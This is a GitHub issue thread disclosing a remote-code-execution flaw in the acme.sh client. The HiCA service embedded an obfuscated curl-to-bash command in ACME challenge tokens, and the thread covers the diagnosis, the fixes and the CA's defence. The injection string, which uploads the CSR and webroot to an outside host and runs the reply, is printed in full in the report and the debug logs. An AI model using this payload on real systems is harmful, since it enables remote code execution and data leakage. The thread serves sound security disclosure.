acme.sh runs arbitrary commands from a remote server #4659

mholt · 2023-06-08T21:19:58Z

Hello,

You may already be aware of this, but HiCA is injecting arbitrary code/commands into the certificate obtaining process and acme.sh is running them on the client machine. I am not sure if this is intentional, expected by users, or safe/unsafe. But I'm documenting my findings for the public to be aware of with this CA.

HiCA's documentation explains that it only supports acme.sh as a client. This was curious to me so I tried to learn why, if it is using ACME (and the ACME logo!) it should be basically compatible with the majority of ACME clients. While obtaining a certificate using ACMEz, I discovered that the Directory was blocked unless the User-Agent is set to a string that starts with Mozilla or acme.sh/2.8.2 (https://github.com/Neilpang/acme.sh). (Firefox loaded the directory just fine, which is surprising because Firefox is not acme.sh.) (I also noticed that caaIdentities includes a variety of CAs including Google Trust Services and SSL.com. Curious.)

Once I faked the UA in my own client and got that working, issuance still failed. Curiously, the error message involved trying a URL of ../pki-validation. This doesn't make any sense to me even though that kind of appears in their docs because it is not standard ACME, so I dug a little deeper to figure out what the Challenge object consisted of that would cause my client to try making a request to ../pki-validation.

It turns out that the Challenge objects look unusual. Here's a lightly-formatted example:

{
    Type: http-01
    URL: ../pki-validation
    Status: pending
    Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#
    KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw
}

Now it became immediately obvious to my why HiCA only supports acme.sh. They are not conforming to ACME at all! (Bugs the heck outa me that they're using the official ACME logo on their site even though they don't implement the ACME standard.)

Instead, HiCA is stealthily crafting curl commands and piping the output to bash. acme.sh is (being tricked into?) running arbitrary code from a remote server. ❗

Here's my analysis so far:

The Token string is NOT in conformance with RFC 8555, which states: "the token for a challenge is a string comprised entirely of characters in the URL safe base64 alphabet." (# is not URL-safe).

However you can tell they're abusing this Token string to encode structure that can be parsed by splitting on "#":

I'm not sure what "dd" means. I do have a file called /tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321\?o\=\$_w\|bash\)/.well-known/acme-challenge/dd after running acme.sh for a test domain though. It contains the value "dd"...
The next part is clearly a URL to a "precheck-http" resource for this challenge. It returns an error "csr not submitted" if you try to request them before running the csr/http endpoint successfully. I haven't crafted a successful request to this endpoint yet.
The next part of the token is the challenge type, http-01 in this case.
The part starting with "/tmp/" is a path to a temporary folder or file. A curl command is crafted by inline scripts that write " " (space) and "://" by base64-decoding "IA==" and "Oi8v" respectively. The result is a command like curl -sF csr=@... https://...?o=$_w. In other words, it sends the CSR (provided by acme.sh variable $csr) and your web root to the CA and then pipes the response of that command straight into bash and acme.sh runs it. 😬 I am hoping you could help me craft a request to see the contents of the script that is being run. It seems to involve writing to the disk since o (output?) contains the webroot (the value of $_w in acme.sh). UPDATE: Aleksejs Popovs has extracted the remote script and verified that it does get executed in a VM.
Another obvious concern is the Token is supposed to contain at least 128 bits of entropy without client influence. See RFC 8555 section 11.3:

"First, the ACME client should not be able to influence the ACME server's choice of token as this may allow an attacker to reuse a domain owner's previous challenge responses for a new validation request."
Error responses come with a 200 status and application/json Content-Type in violation of RFC 8555 (and HTTP convention). This makes it tedious to correctly handle errors. Only "server error" responses return 500.
The second number in the endpoints (654321 in this example) increments for each challenge. So we know how many challenges this CA is experiencing.

Anyway, this all seems very worrisome to me.

I am not sure why HiCA is doing what they are doing. But this intentional deviation from RFC 8555 and the lack of transparency on their docs is suspicious and concerning.

I am not sure if it is intentional that acme.sh is allowing arbitrary commands from a remote server to execute.

Hopefully this is helpful and maybe you can provide some insight and recommendations.

The text was updated successfully, but these errors were encountered:

github-actions · 2023-06-08T21:20:10Z

Please upgrade to the latest code and try again first. Maybe it's already fixed. acme.sh --upgrade If it's still not working, please provide the log with --debug 2, otherwise, nobody can help you.

jdkasten · 2023-06-08T22:39:07Z

My quick read is that it is to allow HiCA to use an "HTTPS validation" method with ACME and get around the limitations in BRs 3.2.2.4.19

Specifically. http-01 doesn't allow a direct connection to 443 and requires the challenge to be posted at /.well-known/acme-challenge/
https://github.com/cabforum/servercert/blob/main/docs/BR.md#322419-agreed-upon-change-to-website---acme

3.2.2.4.18 allows you to validate via 443 but it also makes you host the challenge at .well-known/pki-validation
https://github.com/cabforum/servercert/blob/main/docs/BR.md#322418-agreed-upon-change-to-website-v2

Edit: HiCA advertises using an "HTTPS Validation" method here. I was wondering how they achieved that.

mholt · 2023-06-08T22:44:26Z

I should clarify - as I mentioned, I'm not familiar with acme.sh, so I haven't directly proven that it actually does execute the commands, but HiCA seems to believe it does: it's the only ACME client they allow, and they specifically designed their service relying on this.

UPDATE: See below, we have confirmation.

Here's some of my debug logs from running acme.sh that I used to verify that it was successful up to the point of downloading the certificate (which I didn't, because they wanted payment):

[Thu Jun  8 03:32:32 PM MDT 2023] Getting webroot for domain='example.com'
[Thu Jun  8 03:32:32 PM MDT 2023] _w='/home/matt/Downloads/test'
[Thu Jun  8 03:32:32 PM MDT 2023] _currentRoot='/home/matt/Downloads/test'
[Thu Jun  8 03:32:32 PM MDT 2023] entry='"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#"'
[Thu Jun  8 03:32:32 PM MDT 2023] token='dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#'
[Thu Jun  8 03:32:32 PM MDT 2023] uri='../pki-validation'
[Thu Jun  8 03:32:32 PM MDT 2023] keyauthorization='dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.T7yTHT2s7BIyLS8f76M_bf3-OHx6Yba9yP1Lm6YjZF8'
[Thu Jun  8 03:32:32 PM MDT 2023] dvlist='example.com#dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.T7yTHT2s7BIyLS8f76M_bf3-OHx6Yba9yP1Lm6YjZF8#../pki-validation#http-01#/home/matt/Downloads/test'
[Thu Jun  8 03:32:32 PM MDT 2023] d
[Thu Jun  8 03:32:32 PM MDT 2023] vlist='example.com#dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.T7yTHT2s7BIyLS8f76M_bf3-OHx6Yba9yP1Lm6YjZF8#../pki-validation#http-01#/home/matt/Downloads/test,'
[Thu Jun  8 03:32:32 PM MDT 2023] d='example.com'
[Thu Jun  8 03:32:32 PM MDT 2023] ok, let's start to verify
[Thu Jun  8 03:32:32 PM MDT 2023] Verifying: example.com
[Thu Jun  8 03:32:32 PM MDT 2023] d='example.com'
[Thu Jun  8 03:32:32 PM MDT 2023] keyauthorization='dd'
[Thu Jun  8 03:32:32 PM MDT 2023] uri='acme.hi.cn/acme/v2/precheck-http/123456/654321'
[Thu Jun  8 03:32:32 PM MDT 2023] _currentRoot='/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)'
[Thu Jun  8 03:32:32 PM MDT 2023] wellknown_path='/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)/.well-known/acme-challenge'
[Thu Jun  8 03:32:32 PM MDT 2023] writing token:dd to /tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)/.well-known/acme-challenge/dd
[Thu Jun  8 03:32:32 PM MDT 2023] Changing owner/group of .well-known to matt:matt
[Thu Jun  8 03:32:33 PM MDT 2023] chown: cannot access '/tmp//.well-known': No such file or directory
[Thu Jun  8 03:32:33 PM MDT 2023] url='acme.hi.cn/acme/v2/precheck-http/123456/654321'
[Thu Jun  8 03:32:33 PM MDT 2023] payload='{}'
[Thu Jun  8 03:32:33 PM MDT 2023] POST
[Thu Jun  8 03:32:33 PM MDT 2023] _post_url='acme.hi.cn/acme/v2/precheck-http/123456/654321'
[Thu Jun  8 03:32:33 PM MDT 2023] _CURL='curl --silent --dump-header /home/matt/.acme.sh/http.header  -L  -g '
[Thu Jun  8 03:32:35 PM MDT 2023] _ret='0'
[Thu Jun  8 03:32:35 PM MDT 2023] code='200'
[Thu Jun  8 03:32:35 PM MDT 2023] trigger validation code: 200
[Thu Jun  8 03:32:35 PM MDT 2023] Success
[Thu Jun  8 03:32:35 PM MDT 2023] pid
[Thu Jun  8 03:32:35 PM MDT 2023] Debugging, skip removing: /tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)/.well-known

...

FQDN(s) has passed verification, but a payment amount USDT $3.55 (USDT.TRC20) is required:
Please make a Crypto transfer USDT $3.55 (USDT.TRC20) to address: TPchwEnuyYyoPUH1yxkzTJMfwPLxJgU8cn
After pay, please wait about 1~3 minutes and re-run the following commands, to finalize your order:

acme.sh --register-account --eab-kid redacted --eab-hmac-key redacted -m redacted --server https://acme.hi.cn/directory
acme.sh --issue --webroot /home/matt/Downloads/test --force -d "example.com" --server https://acme.hi.cn/directory -m redacted

OR

域名验证已通过，在您支付完￥10.00(或 USDT.TRC20 $3.55)即可签发:
请支付宝扫码支付: (或者直接浏览器打开 https://tencentcloud.accelerate.pki.plus/acme-purchase/redacted )

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The log says "Success" and that verification succeeded, and since it needs the Token and KeyAuth to verify, I do assume it worked/eval'ed. Some of the log lines seem to suggest that the code may not have been evaluated, but I'm not sure if the log output accurately reflects what is or isn't being executed. If someone familiar with this project could verify, that would be helpful.

mholt · 2023-06-08T23:41:22Z

@xiaohuilam You seem to be familiar with both HiCA and acme.sh. Could you offer some insight?

aaomidi · 2023-06-08T23:46:18Z

It seems like this is using a (I believe as a white label) intermediate from ssl.com called quantumCA (https://crt.sh/?caid=200960)

This is the email I got from them:

mholt · 2023-06-08T23:54:35Z

We now have another confirmation on Twitter that remote code is executed and a glimpse into what the script is:

(Thank you Aleksejs Popovs!)

Fortunately it appears to be benign. (However, all concerns related to RCE and ACME conformance still apply.)

Finkregh · 2023-06-09T07:51:02Z

Did you inform mozilla or google/microsoft/apple as the big CA bundlers? I had a look at https://bugzilla.mozilla.org/buglist.cgi?product=CA%20Program&component=CA%20Certificate%20Compliance&resolution=--- but it might be hidden :)

Midar · 2023-06-09T07:56:50Z

I think the bigger issue than them doing that is acme.sh allowing it. I think a fix for RCE is warranted, quickly. And then a proper security advisory / CVE.

PPazderski · 2023-06-09T09:13:11Z

Is it already clear why acme.sh executes the embedded command? If so I missed it in this issue.

Without further testing I would assume it is the following line

acme.sh/acme.sh

Line 4966 in 0d25f76

if ! _exec "chown -R \"$webroot_owner\" \"$_currentRoot/.well-known\""; then

Would match @mholt's log output. $_currentRoot contains the embedded code and the error message from chown indicates that the embedded command was executed at this point.

The _exec function using eval seem rather dangerous in general. Maybe replace it with something like

_exec() {
  if [ -z "$_EXEC_TEMP_ERR" ]; then
    _EXEC_TEMP_ERR="$(_mktemp)"
  fi

  exec_command="$1"
  shift

  if [ "$_EXEC_TEMP_ERR" ]; then
    "$exec_command" "$@" 2>>"$_EXEC_TEMP_ERR"
  else
    "$exec_command" "$@"
  fi
}

But would require some more work because some invocations of _exec rely on the implicit word splitting, e.g.

acme.sh/acme.sh

Line 3186 in 0d25f76

if ! _exec "nginx -t" >/dev/null; then

mvdan · 2023-06-09T09:32:51Z

I fully agree that eval is dangerous and should be avoided, though there might be an easier fix in the short term: proper quoting. With bash, that's ${var@Q}, from man bash:

Q The expansion is a string that is the value of parameter quoted in a format that can be reused as input.

See the result:

$ var='inject $(echo arbitrary code)'; eval "echo \"$var\""
inject arbitrary code
$ var='inject $(echo arbitrary code)'; eval "echo ${var@Q}"
inject $(echo arbitrary code)

That's pure Bash syntax, no executing separate programs like coreutils. If we can't rely on Bash, then I think the only other alternative for safe quoting/escaping of input strings is printf %q from coreutils:

%q ARGUMENT is printed in a format that can be reused as shell input, escaping non-printable characters with the proposed POSIX $'' syntax.

$ var='inject $(echo arbitrary code)'; eval "echo $(printf %q "$var")"
inject $(echo arbitrary code)

PPazderski · 2023-06-09T09:43:42Z

That's pure Bash syntax, no executing separate programs like coreutils. If we can't rely on Bash, then I think the only other alternative for safe quoting/escaping of input strings is printf %q from coreutils:

%q ARGUMENT is printed in a format that can be reused as shell input, escaping non-printable characters with the proposed POSIX $'' syntax.
$ var='inject $(echo arbitrary code)'; eval "echo $(printf %q "$var")"
inject $(echo arbitrary code)

Could work with one addition: printf is usually a builtin which might not support %q. E.g. dash prints the following error:

$ dash -c "printf '%q' '(a)'"
dash: 1: printf: %q: invalid directive

So you would need to explicit run the coreutils printf like /usr/bin/printf ... to skip the shell builtin.

mikma · 2023-06-09T10:14:06Z

That's pure Bash syntax, no executing separate programs like coreutils. If we can't rely on Bash, then I think the only other alternative for safe quoting/escaping of input strings is printf %q from coreutils:

Users of acme.sh on embedded systems with limited resources, such as small routers running OpenWrt, probably prefer installing printf from coreutils over bash which is much larger.

xiaohuilam · 2023-06-09T11:18:43Z

Thanks to mholt to report this incident or bug to the community.

And please allow me to introduce my project.

this is Bruce, the founder of Quantum CA, we provides HiCA for non profit purpose, to provide ssl for free (RSA). We even donated 1000 USD to acme.sh last year to support the community developers, Except us any CA or reseller did this? And the validation process implemented a undisclosures bug, yes, we utilized. But our purpose is to makes the normal CA signing progress into acme.sh possible. We agree this is harmful to acme.sh community but we didn’t inject any attacking codes since the first day of HiCA and to today. Mohlt’s request signing analysis can proof this.

The code execution way we utilized is to implement a flexibility cert provider which can enroll by acme.sh likely letsencrypt. And this ability we can’t be granted from CAs.(after all, we are only a resellers, the Fully rfc8555 can be only provided by CA, because they need to check all challenges and it’s incompatible with pki-validation ways).

finally, we closed HiCA project and keep this before the community investigation finished.

sorry to free users of HiCA.

shankerwangmiao · 2023-06-09T11:27:21Z

We now have another confirmation on Twitter that remote code is executed and a glimpse into what the script is:

(Thank you Aleksejs Popovs!)

Fortunately it appears to be benign. (However, all concerns related to RCE and ACME conformance still apply.)

I would like to add some my speculations on the possible purpose of that CA.

It seems that HI-CA is not a certificate issuing CA, but a reseller or broker of another well-trusted CA. The former “CA” obtains some kind of non-standard automated certificate issuing interface from the latter CA. HI-CA wants to “wrap” that interface into something that looks like ACME.

However, this is not possible because: 1. the “well-known” path for the two certificate issuing process is different, one is “acme-challenge”; the other is “pki-validation”. 2. the content of the file to be put in “pki-validation/” is an opaque text given by the certificate issuing CA, while the content of the ACME challenge file should be a cryptographic calculating result which both the ACME client and the CA agree on.

As a result, HI-CA “invented” such a method exploiting acme.sh to put the correct response file given by the real certificate issuing CA into the correct place, with great “innovation”.

LeviMarvin · 2023-06-09T11:33:19Z

We must forbidden the HiCA. It is destroying the security of ACME.

xiaohuilam · 2023-06-09T11:39:04Z

And the mail template in HiCA, because it’s included in our another project, which co operated with SSL.com, and in the HiCA mail messages we forget to override the Laravel mail layout.

I have lack time invest to the HiCA project. so keep the mail messages displays until today.

The QRCode display isn’t critical bug of acme.sh, they just display error messages server output, no code execution risky. We used to provide ssl for free only for rsa, and few users will met this message. But months ago acme.sh changed key type defaultly EC, this messages shows and we’re also planning to deploy a new version to provide cert free for EC, but timing lack reason you know, didn’t implement.

This is an experimental project, we even don’t have time to fix the problem about the payment gateway expiration. (QR code is not executable for payment). So this project is totally a nonprofit.

xiaohuilam · 2023-06-09T11:39:58Z

We must forbidden the HiCA. It is destroying the security of ACME.

you have no necessary to do this, we have turned all servers down.

Bug: acmesh-official/acme.sh#4659 Bug: https://bugs.gentoo.org/908104 Signed-off-by: Sam James <sam@gentoo.org>

qwerzl · 2023-06-09T11:56:40Z

You actually have good intentions. However you need to understand that this world needs regulations to work.

Neilpang · 2023-06-09T12:00:59Z

as a quick fix, I just removed the problematic "_exec" from that line.

Neilpang · 2023-06-09T12:05:14Z

merged to master. new release will be soon.

iammeken · 2023-06-09T12:06:42Z

You should not close this issue at this stage.

#4659

BeSafee · 2023-06-09T12:21:35Z

HiCA didn't respond properly to this issue, incredible that they shut down all their servers and official website.

xiaohuilam · 2023-06-09T12:28:27Z

HiCA didn't respond properly to this issue, incredible that they shut down all their servers and official website.

Which question I didn’t reply, May I ask?
We shutdown servers is not only to reduce impact for that RCA, but also reduce billing cost by DDoS happen hours ago.

LeviMarvin · 2023-06-09T12:33:29Z

Is there any information about HiCA's certificate of CA which like sha1-hash and keyid, so that I can revoke/disable the HiCA trust-chain in local. And I think this issue should be reported to public, and make decision for revoking the CA certificate of HiCA to all people.

BeSafee · 2023-06-09T12:33:49Z

And their payment gateway (https://tencentcloud.accelerate.pki.plus/) redirects to the White House website.
The whole process is opaque and worrying.
Hope HiCA can give a formal response to this issue.

xiaohuilam · 2023-06-09T12:34:45Z

And their payment gateway (https://tencentcloud.accelerate.pki.plus/) redirects to the White House website.
The whole process is opaque and worrying.
Hope HiCA can give a formal response to this issue.

This is the WAF rule.

j-mie · 2023-06-09T12:40:34Z

@Neilpang You should probably request a CVE for this.

komuw · 2023-06-09T12:41:48Z

And their payment gateway (https://tencentcloud.accelerate.pki.plus/) redirects to the White House website.
The whole process is opaque and worrying.
Hope HiCA can give a formal response to this issue.

This is the WAF rule.

🤣 well played.

boomer41 · 2023-06-09T12:42:33Z

Which question I didn’t reply, May I ask?

As you see yourself as a proper CA, the following text is based on that fact.
Most publicly trusted CAs thesedays go through Mozilla's CA Certificate Program [1], which exhibits strict policies around required communication around issues.

See for example this (minor) incident, where a CA failed to publicly disclose one of their intermediate certificates to the public in a timely manner: https://bugzilla.mozilla.org/show_bug.cgi?id=1784820
Especially the last comment by the CA shows how to properly answer to such a problem.
They publicly disclose what ultimately was the problem and how the CA wants to proceed, and how they ensure these problems will not occur again.
If the CA would fail to provide these statements, it ultimately would get removed from the program, as you cannot and must not play with the trust Mozilla has given that CA under any circumstances.

Operating any kind of CA where the certificates are trusted globally is no joke, because that CA can potentially fake certificates for banking services and such.

However, in my opinion, just yoinking your services down and creating some WAF rules that redirect to the white house (why even THAT site? Show a 403 forbidden or something) is not something I personally see trust in.

[1] https://wiki.mozilla.org/CA

BeSafee · 2023-06-09T12:45:04Z

In the Google snapshot I see HiCA official recommends to run acme.sh as root user.

Midar · 2023-06-09T12:45:55Z

Hey, um, this is the acme.sh bug tracker. This bug is about an RCE in acme.sh, and possibly there are other places in the code with the same issue. Can we please keep the discussion on that rather than some random CA that just happened to exploit this RCE? The CA is not the problem in this bug (take this to the CA forum), but the defect in the code is.

Personally, I’m not using this CA, but am now getting spammed for this because people abuse this bug to talk about some CA rather than the bug - and I guess a lot of others are in the same situation as I. Use the correct venue please.

xiaohuilam · 2023-06-09T12:45:58Z

Which question I didn’t reply, May I ask?

As you see yourself as a proper CA, the following text is based on that fact. Most publicly trusted CAs thesedays go through Mozilla's CA Certificate Program [1], which exhibits strict policies around required communication around issues.

See for example this (minor) incident, where a CA failed to publicly disclose one of their intermediate certificates to the public in a timely manner: https://bugzilla.mozilla.org/show_bug.cgi?id=1784820 Especially the last comment by the CA shows how to properly answer to such a problem. They publicly disclose what ultimately was the problem and how the CA wants to proceed, and how they ensure these problems will not occur again. If the CA would fail to provide these statements, it ultimately would get removed from the program, as you cannot and must not play with the trust Mozilla has given that CA under any circumstances.

Operating any kind of CA where the certificates are trusted globally is no joke, because that CA can potentially fake certificates for banking services and such.

However, in my opinion, just yoinking your services down and creating some WAF rules that redirect to the white house (why even THAT site? Show a 403 forbidden or something) is not something I personally see trust in.

[1] https://wiki.mozilla.org/CA

We ARE NOT a CA. Our certs is issued by SSL.com、Sectigo、GTS，by be compliant their BR validation requirements.

We ARE reseller or subscriber of those CAs, so we don’t have needed to match webtrust standards because we don’t provide any PKI infrastructure.

LeviMarvin · 2023-06-09T12:48:48Z

@xiaohuilam Your company (or your CA's company) is registered in China, the code of company is 91500108MAACDXG09T and contact phone number is +86 17099911119, contact mail is sslcertificate@foxmail.com/contact@xunsign.com. your official website www1.hi.cn have not used the certificate signed from your own CA. Your company is selling of prepare to sell PKI services after permitted by government. So we have reason believe that your are an CA.

xiaohuilam · 2023-06-09T12:50:27Z

In the Google snapshot I see HiCA official recommends to run acme.sh as root user.
@BeSafee

It’s tutorial copied from others article. NOT we meant.

the source article is http://web.archive.org/web/20230201113221/https://blog.freessl.cn/acme-quick-start/.

LeviMarvin · 2023-06-09T12:54:12Z

@xiaohuilam If you are not a CA, you have NOT ANY reasons to sell the certificate or publish the payment information with ACME users. And in your website, you said "We provide OCSP in China Mainland", how did you do that? The OCSP services must be operated by CA.

xiaohuilam · 2023-06-09T12:56:28Z

@xiaohuilam Your company (or your CA's company) is registered in China, the code of company is 91500108MAACDXG09T and contact phone number is +86 17099911119, contact mail is sslcertificate@foxmail.com/contact@xunsign.com. your official website www1.hi.cn have not used the certificate signed from your own CA. Your company is selling of prepare to sell PKI services after permitted by government. So we have reason believe that your are an CA.

We're not a CA, we have no public key infrastructures including public CA or private CA.
And a kind remind, submitting information here such as telephone、addresses that not evidence without our consent will violate China citizen privacy.

boomer41 · 2023-06-09T12:56:41Z

Hey, um, this is the acme.sh bug tracker. This bug is about an RCE in acme.sh, and possibly there are other places in the code with the same issue. Can we please keep the discussion on that rather than some random CA that just happened to exploit this RCE? The CA is not the problem in this bug (take this to the CA forum), but the defect in the code is.

Personally, I’m not using this CA, but am now getting spammed for this because people abuse this bug to talk about some CA rather than the bug - and I guess a lot of others are in the same situation as I. Use the correct venue please.

@LeviMarvin @xiaohuilam
Please see the above request of Midar. I'm 100% with him.
This issue is really not for discussion about the CA in question, but for the bug in acme.sh.
I'd gladly like to request discussing in private about that issue if needs arise, and stop spamming my inbox about whether the CA is now a CA or not.

Thanks.

LeviMarvin · 2023-06-09T12:57:19Z

@xiaohuilam As of now, you have not given a formal explanation (including the reasons for doing so) on "using the ACME client for commercial activities", but continue to quibble in this issue. At the same time, you said that the HiCA server has been shut down, and some traffic is redirected to the White House page because of WAF operation. Why do you (and your company) configure this WAF rule? It is even more scandalous if traffic is directed to a third-party site just to prevent DDos attacks.

LeviMarvin · 2023-06-09T12:58:41Z

@xiaohuilam Your company (or your CA's company) is registered in China, the code of company is 91500108MAACDXG09T and contact phone number is +86 17099911119, contact mail is sslcertificate@foxmail.com/contact@xunsign.com. your official website www1.hi.cn have not used the certificate signed from your own CA. Your company is selling of prepare to sell PKI services after permitted by government. So we have reason believe that your are an CA.

We're not a CA, we have no public key infrastructures including public CA or private CA. And a kind remind, submitting information here such as telephone、addresses that not evidence without our consent will violate China citizen privacy.

All of information is published by yourself (or your company-self) to public. This is mandatory under Chinese law and does not violate your privacy.
All of information can be accessed from anywhere and not need to be authoried publish. This is in line with Chinese law.
All information is voluntarily disclosed by the company, and there is no need to declare it separately on the company's official website. If you don't want to, I can provide the URL of the China National Enterprise Credit Information Publicity System for your own reference.

LeviMarvin · 2023-06-09T13:00:11Z

@boomer41 Of course.

xiaohuilam · 2023-06-09T13:00:55Z

@xiaohuilam As of now, you have not given a formal explanation (including the reasons for doing so) on "using the ACME client for commercial activities", but continue to quibble in this issue. At the same time, you said that the HiCA server has been shut down, and some traffic is redirected to the White House page because of WAF operation. Why do you (and your company) configure this WAF rule? It is even more scandalous if traffic is directed to a third-party site just to prevent DDos attacks.

Commercialization abilities is the QRCode output part, which isn't the RCE. it has no security concern. (No potential risks to local server actually, and how to category the QRCode outputs if you are a CVE reviewer?)

xiaohuilam · 2023-06-09T13:01:42Z

@xiaohuilam Your company (or your CA's company) is registered in China, the code of company is 91500108MAACDXG09T and contact phone number is +86 17099911119, contact mail is sslcertificate@foxmail.com/contact@xunsign.com. your official website www1.hi.cn have not used the certificate signed from your own CA. Your company is selling of prepare to sell PKI services after permitted by government. So we have reason believe that your are an CA.

We're not a CA, we have no public key infrastructures including public CA or private CA. And a kind remind, submitting information here such as telephone、addresses that not evidence without our consent will violate China citizen privacy.

All of informations is published by yourself (or your company-self) to public. This is mandatory under Chinese law and does not violate your privacy.

But it's on our site, we never authorized you to disclosure anywhere else.

Even we published our photo on our website, we reserves all the copyright and privacy. But you shared at social media this is totally violate for them.

xiaohuilam · 2023-06-09T13:05:03Z

@xiaohuilam If you are not a CA, you have NOT ANY reasons to sell the certificate or publish the payment information with ACME users. And in your website, you said "We provide OCSP in China Mainland", how did you do that? The OCSP services must be operated by CA.

Q: We provide OCSP in China Mainland
A: We are a SSL.com partner co operated a intermediate CA which hosts ocsp responder in China. And also sometimes we redirects cert provider to GTS(Google Trust Services), it hosts ocsp.pki.goog which has ocsp responder datacenter in China. So this isn't the evidence to proof HiCA is a CA which managed PKI.

Scirese · 2023-06-09T13:07:40Z

@Neilpang The discussion is completely heading to off-topic and heated, we should lock the issue now

LeviMarvin · 2023-06-09T13:09:21Z

We should start a new issue to disscusion the bug about ACME. HiCA's problem will be reported to CA/B.

Neilpang · 2023-06-09T13:16:13Z

sorry guys, new release is out.
https://github.com/acmesh-official/acme.sh/releases

All the "exec" are removed, that was originally added for a better display of the error message.

If you have any more bugs found, please let me know.

Neilpang · 2023-07-14T01:05:37Z

someone created a CVE:
https://www.cve.org/CVERecord?id=CVE-2023-38198

mholt changed the title ~~acme.sh runs arbitrary commands from a remote server~~ acme.sh appears to run arbitrary commands from a remote server Jun 8, 2023

mholt changed the title ~~acme.sh appears to run arbitrary commands from a remote server~~ acme.sh runs arbitrary commands from a remote server Jun 8, 2023

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mweinelt mentioned this issue Jun 9, 2023

acme-sh: mark vulnerable due to RCE NixOS/nixpkgs#236820

Closed

12 tasks

gentoo-bot pushed a commit to gentoo/gentoo that referenced this issue Jun 9, 2023

profiles: mask app-crypt/acme-sh

eaf6574

Bug: acmesh-official/acme.sh#4659 Bug: https://bugs.gentoo.org/908104 Signed-off-by: Sam James <sam@gentoo.org>

Neilpang closed this as completed in 4c30250 Jun 9, 2023

Neilpang reopened this Jun 9, 2023

Neilpang pushed a commit that referenced this issue Jun 9, 2023

remove all exec.

327e2fb

#4659

soliton- mentioned this issue Jun 9, 2023

Avoid unnecessary eval #4662

Closed

acmesh-official locked as off-topic and limited conversation to collaborators Jun 9, 2023

Neilpang closed this as completed Jul 14, 2023

acme.sh runs arbitrary commands from a remote server #4659

acme.sh runs arbitrary commands from a remote server #4659

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